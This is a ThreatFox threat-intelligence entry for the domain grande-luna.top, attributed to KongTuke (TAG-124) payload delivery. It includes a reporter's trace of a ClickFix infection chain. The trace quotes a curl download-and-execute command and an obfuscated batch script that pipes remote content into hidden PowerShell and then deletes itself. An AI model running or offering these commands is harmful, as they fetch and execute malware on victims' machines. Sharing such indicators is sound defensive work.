ThreatFox IOC Database
You are viewing the ThreatFox database entry for domain grande-luna.top.
Database Entry
| IOC ID: | 1782883 |
|---|---|
| IOC: | grande-luna.top |
| IOC Type : | domain |
| Threat Type : | payload_delivery |
| Malware: | KongTuke |
| Malware alias: | TAG-124, js.LandUpdate808 |
| Confidence Level : | Confidence level is high (100%) |
| Is compromised? : | False |
| ASN: | AS13335 CLOUDFLARENET |
| Country: |  US |
| First seen: | 2026-04-08 14:54:57 UTC |
| Last seen: | never |
| UUID: | afb3aff9-334c-11f1-9af6-42010aa4000a |
| Reporter |  rmceoin |
| Reward | 5 credits from ThreatFox |
rmceoin
https://heethcote.com/t->
https://heethcote.com/g
->
https://heethcote.com/c?tk=
(ClickFix)
->
cmd /c "curl -s https://oeannon.com/t2?tk=1d496b6fd250a0cbd13d81c1d429d739 -o %temp%\t.cmd & %temp%\t.cmd"
->
https://oeannon.com/t2?tk=
->
@echo off
set O=c^u^r^l h^t^t^p^s^:^//g^r^a^n^d^e^-^l^u^n^a^.^t^o^p^/o
cmd/c%O% | cmd /c powershell -w h
(goto) 2>nul & del "%~f0"
->
https://grande-luna.top/o